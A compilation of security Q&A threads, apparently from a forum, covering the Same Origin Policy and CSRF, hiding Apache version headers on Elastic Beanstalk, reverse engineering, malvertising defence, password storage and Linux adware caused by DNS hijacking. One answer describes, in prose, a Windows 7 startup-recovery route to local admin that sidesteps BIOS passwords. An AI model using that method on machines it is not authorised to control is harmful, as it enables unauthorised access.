Tabs are not isolating entities. That is, cookies are shared between every window a browser has open, including all tabs on those windows. The only exception to this are private/incognito windows. Therefore, if a tab open on evil.com makes an AJAX request to facebook.com, your auth cookies from facebook.com will be sent along with the request. The Same Origin Policy prevents evil.com from reading the response from facebook.com as the domains do not match.

  The malicious domain is free to send a GET/POST request to facebook.com, and the browser will attach a cookie for facebook if available. But then wouldn't the problem be due to facebook's server side protection (CSRF scenario)? How does SOP help in this case?

CSRF protection should only prevent unsafe methods - actions with side effects. That is:

  the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.

So if the site has been implemented with respect to this convention, CSRF protection should only be active for POSTs (technically PUT and DELETE too, but these are rarely used).

As said, the SOP does not stop requests from being made, only the responses from being read. Even with the SOP, evil.com could make a POST request to facebook.com's "Delete Account" page, and if the user was logged in to Facebook, cookies would be sent.

However, if Facebook have implemented CSRF protection using tokens on the Delete Account page then a CSRF token will need to be submitted with this POST. evil.com can make a GET request to facebook.com to the page containing the CSRF token. However, the SOP prevents the response from being read. The SOP protects Facebook's CSRF tokens and prevents CSRF attacks from happening when protected by tokens.


AWS Load Balancer Response Header Apache Server Disclosure I have a node.js environment deployed using AWS Elastic Beanstalk on an Apache server. I have run a PCI scan on the environment and I'm getting 2 failures:

Apache ServerTokens Information Disclosure
Web Server HTTP Header Information Disclosure

Naturally I'm thinking I need to update the httpd.conf file with the following:

ServerSignature Off
ServerTokens Prod

However, given the nature of Elastic Beanstalk and Elastic Load Balancers, as soon as the environment scales, adds new servers, reboots etc the config will be overwritten.

I have also tried putting the following into an .htaccess file:

RewriteEngine On
RewriteCond %{HTTP:X-Forwarded-Proto} =http
RewriteRule .* https://%{HTTP:Host}%{REQUEST_URI} [L,R=permanent]

# Security hardening for PCI
Options -Indexes
ServerSignature Off

# Dissallow iFrame usage outside of loylap.com for PCI Security Scan
Header set X-Frame-Options SAMEORIGIN

On the node js side I use the "helmet" package to apply some security measures, I also use the "express-force-https" package to ensure the application is enforcing https. However, these only seem to be taking effect after the Express application is initiated and after the redirect.

I have Elastic Load Balancer listeners set up for both HTTP (port 80) and HTTPS (port 443), however the HTTP requests are immediately routed to HTTPS.

When I run the following curl command:

curl -I https://myenvironment.com --head

I get an acceptable response with the following line:

Server: Apache

However when I run the same request on the http endpoint (i.e. before redirects etc):

curl -I http://myenvironment.com --head

I get a response that discloses more information about my server than it should, and hence the PCI failure:

Server: Apache/2.4.34 (Amazon)

How can I force my environment to restrict the http header response on HTTP as well as HTTPS?

Credit to u/stdunbar for leading me to the correct solution here using ebextensions from this stackoverflow link.

The solution worked for me as follows:

Create a file in the project root called .ebextensions/01_server_hardening.config
Add the following content to the file:

files:
  "/etc/httpd/conf.d/03_server_hardening.conf":
    mode: "000644"
    owner: root
    group: root
    content: |
      ServerSignature Off
      ServerTokens Prod

container_commands:
  01_reload_httpd:
    command: "sudo service httpd reload"
(Note: the indentation is important in this YAML file - 2 spaces rather than tabs in the above code).

During elastic beanstalk deployment, that will create a new conf file in /etc/httpd/conf.d folder which is set up to extend the httpd.conf settings in ELB by default.

The content manually turns off the ServerSignature and sets the ServerTokens to Prod, achieving the PCI standard.

Running the container command forces a httpd reboot (for this particular version of Amazon linux - ubuntu and other versions would require their own standard reload).

After deploying the new commands to my EB environment, my curl commands run as expected on HTTP and HTTPS.


How do hackers find vulnerabilities in closed source operating systems? I'm not planning on hacking anything, but I'm just wondering how hackers find vulnerabilities in closed source operating systems such as Windows, since they don't know exactly what the code is doing? From some online searches I know that some experienced hackers write and use "scanning tools", but how would they know how to write these in the first place? And how would you find vulnerabilities without a scanning tool program.

Reverse engineering, is the process by which a man-made object is deconstructed to reveal its designs, architecture, or to extract knowledge from the object; similar to scientific research, the only difference being that scientific research is about a natural phenomenon. This is how we begin.

This is not an exploit I coded and deployed, but rather noticed on Windows 7 startup recovery would sometimes after finishing checks open the results in notepad.exe. More importantly, I presumed notepad.exe was running as an elevated administrator, also notepad.exe has the ability to open Windows Explorer. So, now I had elevated administrator privileges over all listed drive partitions. Now I could ensure cmd.exe could be executed from the lock screen, which also runs as a restricted elevated administrator. This is how I became a local admin on a computer which I was only a user and the machine had bios passwords, to protect against this type of attack. Furthermore, this attack could bypass BitLocker if it had been used.

This is one type of way, which I deduced Windows 7 had an attack vector, which I happened to be right about. Although, I suspect your question was focused around zero-day exploits. So, reverse engineering tools are often the way. This becomes black box testing.

With compiled code, I am presuming the programmer coded the program in a particular manner while observing how the input affects the output.

Input() = 3
Code()  = ... (We don't know, it's compiled)
Output() = 10

We can deduce now, based on the input being 3 and the output being 10. A likely calculation could be 3*3 + 1 = 10. Although, it could also be 3*4 - 2 = 10... What about if we do another:

Input() = 5
Code() = ...
Output () = 16

So, the pattern 5*3 + 1 = 16 could be a common pattern, we deduce other results and find which match between our tested inputs and outputs.

So a common arithmetic formula, for the code could be sum = $input * 3 + 1.

Now we have narrowed down what Reverse engineering is, let's focus on exploiting a networking service, Safari on iOS 4.0.2 which allowed '.pdf' Local Privilege Escalation 'Jailbreak'. An exploit like this would have likely, been detected by noticing the browser would crash (often a buffer overflow) when loading a PDF under certain conditions. Specifically CVE-2010-1797

  Multiple stack-based buffer overflows in the
  cff_decoder_parse_charstrings function in the CFF Type2 CharStrings
  interpreter in cff/cffgload.c in FreeType before 2.4.2, as used in
  Apple iOS before 4.0.2 on the iPhone and iPod touch and before 3.2.2
  on the iPad, allow remote attackers to execute arbitrary code or cause
  a denial of service (memory corruption) via crafted CFF opcodes in
  embedded fonts in a PDF document, as demonstrated by JailbreakMe.
  NOTE: some of these details are obtained from third party information.

This exploit allowed shown in JailbreakMe, allow arbitrary code within the web browser to be executed and elevated to root privileges without your permission. The browser would crash followed by the iOS restarting, somewhat often on iOS 4.

  OllyDbg is a 32-bit assembler level analysing debugger for Microsoft®
  Windows®. Emphasis on binary code analysis makes it particularly
  useful in cases where a source is unavailable.

Beginning Reverse Engineering Tutorial 1 [HD] outlines how OllyDbg works and should introduce you to using this particular tool for reverse engineering.

This is far from a comprehensive guide about reverse engineering. As points regarding Sqlmap, dex2jar, jd-gui, edb-debugger and Valgrind, just to name a few, have not been included. Let alone reverse engineering a closed directory web server or hardware reverse engineering.


Methods to Monitor Ads For Malware on Mobile Devices I've noticed that malware being introduced to a mobile application or web application through advertisements, unknown to the developer of the application, is becoming increasingly popular. I've been searching around for a tool or method to detect or monitor the advertisements being introduced to the application for malware. My search has not turned up much. I can manually view the advertisements code each time, though that is tedious, non-automated and only a loose solution. Does anyone have any thoughts or experience on monitoring advertisements in a mobile application for malware?

This type of problem really needs to be addressed at a few different levels, the user, the publisher, and the programmer. Each holds a degree of responsibility and as such no matter your role, you are responsible. Based on your plan of inspecting individual code, I suspect that you are an end-user and not a programmer. As such, I'll focus mostly on that realm.

Ways to Reduce Risk as End User

An end-user can do a few things to determine if the ad is malicious. This includes the basics, such as installing a Mobile AV (Such as Sophos on Android). The steps that you are currently taking (Investigating the payload) is generally far more in-depth than most end-users would ever want to do. This gap can easily be filled with an AV and possibly a mobile IDS/IPS (Such as zIPS). The line of host-based IPS and AV are very blurred these days and can lead to some overlap. The key point is that the IPS is designed to work to prevent your system from being breached. Whereas the AV is working to clean-up the breach after the fact.

An example of a normal Advertisement Transaction:

Here's an example of the steps that lead to an advertisement being delivered:

You open the App
The app opens up and allows you to use it for X number of seconds
After a fixed time constraint or a certain criteria is reached (Eg. You complete a level in a game) the app decides to deliver an ad.
The app triggers the request to an included library
The included library then makes an API request with some of your information to an external site
The external site accepts the request and processes the request to determine the best advertisement to deliver
The ad is delivered to your device
After the ad is complete, you can continue to use the app again until another constraint is reached

An example of malvertising

List item
You open the App
The app opens up and allows you to use it for X number of seconds
After a fixed time constraint or a certain criteria is reached (Eg. You complete a level in a game) the app decides to deliver an ad.
The app triggers the request to an included library
The included library then makes an API request with some of your information to an external site
The external site uses the data to determine if you could be vulnerable to a specific exploit. This is determined based off of a number of different factors, which most off includes user-agent inspection, but may include factors like javascript checking.
Once the most effective exploit is determined, the payload to sent to the device. This is the point where the security of your device is tested.
The payload will either run, or run and then compile, on your machine. If the infection is successful, you may not be able to tell.

What an IPS will do

The benefit of using an IPS is that when a website is requested (In your case an advertisement), it will check the request and the response for signs of malicious activity. A common way that malware is delivered in advertisements is via a base-encoding and decoding formula that serves no real purpose. A smart IPS will detect when a base-encode formula is used in numerous different instances and concatenates results together followed by a final decode of the entire payload.

In the case of the above IPS solution, it will also inform you when you are at risk of MITM attacks and various other issues. It also has a built-in AV function. This falls back into where I stated that the lines are very blurred between the different tools.

Ways to Reduce Risk as a Publisher

Here are some of the ways that a publisher can reduce their risk:
 - Ensure that your code does not have major vulnerabilities or introduces vulnerabilities on end-users.
 - Monitor for any suspicious behavior occurring on your ad-network.. This should be checking for unusual advertisement payloads as well as indications that your ad-network have been compromised.
 - Perform code reviews of advertisements being delivered on your network

Ways to Reduce Risk as a Programmer

It's very difficult to mitigate the risk when the vulnerabilities exist on the user and the advertisements are delivered from your advertising partner. The biggest take-away is that you ensure that the advertising network that you choose is a trusted one. This generally means staying away from unknown third-parties or networks that offer an exorbitant PPC (Pay-per-click). These are generally warning signs. In addition you should offer the following to users:

Offer a way to report malicious ads in the application
Perform independent checks for malicious code (This may be difficult to maintain as signature sets change everyday.)
Log what ads were delivered to submit feedback to the ad-network operators.
Perform extensive QA with advertisements on numerous different OS versions and device types to check for any obvious malvertising campaigns.

Synopsis

This can really only be addressed using a layered defense tactic. If you rely on only a single link in the chain, it will inevitably break. I found that a recent study, The Dark Alleys of Madison Avenue:
Understanding Malicious Advertisements, suggests that up to 1% of ads contain malvertising code. That's a pretty incredible statistic given how many sites offer advertisements. It also highlights that if we relied solely on advertisers to ensure the security of the advertisements, we would be in serious trouble.


Storing Encrypted Passwords I was thinking about alternatives to hashes for storing passwords, and I was wondering if there was any huge security flaw with one I came up with.

If, when the user creates their account, their password is used as a key to encrypt itself and stored that way, you could validate logins by decrypting the stored password with the given password and checking if they match.

Is there any inherent theoretical problem with this idea, assuming the encryption is immune to such things as collisions and related-key attacks?

Is there any inherent theoretical problem with this idea, assuming the encryption is immune to such things as collisions and related-key attacks?

Yes, there is a problem with this idea even given your assumptions.

Just use bcrypt for god's sake!

Some problems: The way you have stated your encryption "solution" seems to imply that you are just using a single key and no random IV or anything like that. In that case you are vulnerable to dictionary and other brute force attacks (you are still vulnerable even with a salt since the "hash" is likely fast). Also, with nothing to act as a "salt" you will be "hashing" the same password to the same "hash" each time, which is also bad.


Malware (adware?) infection on linux Recently I've get stuck with a malware(adware/virus ?) which I can't remove. here is the condition:

I'm using Linux (Archlinux), it's uptodate and I don't install any packages outside standard repos PLUS some pretty well known AUR packages. I'll check further if this is the case.
I get pop-up, (ads by DNS Unlocker) on Chromium, FF (standard repo) and Google-Chrome-Stable (installed from AUR).
I have a windows and android box which all sync to one account
I'm using Tor (most of the time) with bridges which have been provided through official email
List of my recent installs and addons are listed below links:

sudo cat /var/log/pacman.log | grep -i installed:
    https://gist.github.com/anonymous/e118898bed35612cab12#file-recent-packages-installed

sudo pacman -Qm:
    https://gist.github.com/anonymous/674e1b7030e8cebadaee

Browser addons:
    Bookmark manager (ID: gmlllbghnfkpflemihljekbapjopfjik),
    Evernote Clipper (ID: pioclpoplcdbaefihamjohnefbikjilc),
    Google Scholar Button (ID: ldipcbpaocekfooobnbcddclnhejkcpn),
    LastPass (ID: hdokiejnpimakedhajhdlcegeplioahd),
    Proxy SwitchyOmega (ID: padekgcemlokbadohgkifijomclgjgif),
    Save to Pocket (ID: niloccemoadcdkdjlinkgdfekeahmflj),
    ScriptSafe (ID: oiigbmnaadbkfbmpbfijlflahbdbdgdf),
    Zotero Connector (ID: ekhagklcjbdpajgpjgmbionohlpdbjgc)
$ cat /etc/hosts

  127.0.0.1 localhost.localdomain localhost
  ::1 localhost.localdomain localhost

I've checked the network settings and my ip is set to DHCP.
somehow similar case has been reported recently, but there is a clear difference between what I see.
https://askubuntu.com/questions/666604/how-to-get-rid-of-the-dns-unlocker-adware
the pop-up blocks if I disable this script by Script safe, scriptsafe shows the javascript as:
m51.dnsqa.me (1)
cdn.scarabresearch.com (1)
I'm sure about the first one, but the second one might be safe.
I'm not sure but it seems in safe mode (incognito) the pop up doesn't show. regarding extension I've tried newly installed browser and it get infected again.
the url hijack has been provoked on google searches (by clicking with new tab on links). and popups are seen on amazon and most e-shopping sites. Also I've seen it in TED.org which prevents me from downloading the video.

After some day struggling with the issue I couldn't find the route.

I've uninstall (pacman -Rs chromium) and remove browsers folders manually (rm -rf .chromium, .config/chromium, /local/share/chromium). With and without enabling the sync (even reset sync data at the server) I see the popups after a while. This happens on FF and Google-Chrome as well. Opera might be excluded I haven't test it yet.

There is two option which I'm suspect of:

DNS, I've checked resolve.conf and /etc/hosts and Network Settings but I didn't see any configuration other than localhost or DHCP and I'm sort of newbie and not aware of any other vulnerability regarding DNS.
I've a locally installed malware which I cant find.
official bridges by Tor with I don't think be the cases (I've changed them but didn't change the result. I sometimes uses tor with scramblesuit bridges, all from official eamil).

Update:

I don't use tor browser bundle (I'm using tor as service and setting proxies)
Other devices are connected to the router and those has not affected by the maleware

When you say you are using tor, are you using the tor browser bundle? or the stand alone version where you set it up as a proxy server and connect to tor using your normal browser?

I ask because from your details I suspect it's a DNS issue, but the tor browser bundle does not use your dns settings (at least not by default) so if you're using the browser bundle and still getting the issue then it's something else.

What I suspect may have happened is that the DNS settings on your router may have been compromised so what should happen is a DNS query goes:

First looks on your local computer (i.e. /etc/hosts)
Your upstream DNS from resolve.conf this is typically your local router and set by DHCP (typically other computers on your network and cached DNS records)
Your router looks at it's upstream DNS, this is typically your ISP

But I suspect that your router has been setup to use a malicious upstream DNS server that is redirecting your traffic to malicious web server / proxies that are injecting content into your browsing.

As an experiment try booting a live CD and see if you still get the issue, if you do I would factory reset your router1 (or better yet re-flash it with the latest firmware) set the upstream DNS settings on your router to 8.8.8.8 (google's public DNS) and make sure you put a good password on your router.

The usual caveats apply, factory resetting your router will likely kill your internet connection so make sure you know how to set it back up again, if you need a username and password to connect to your ISP (most connections will) make sure you know what it is.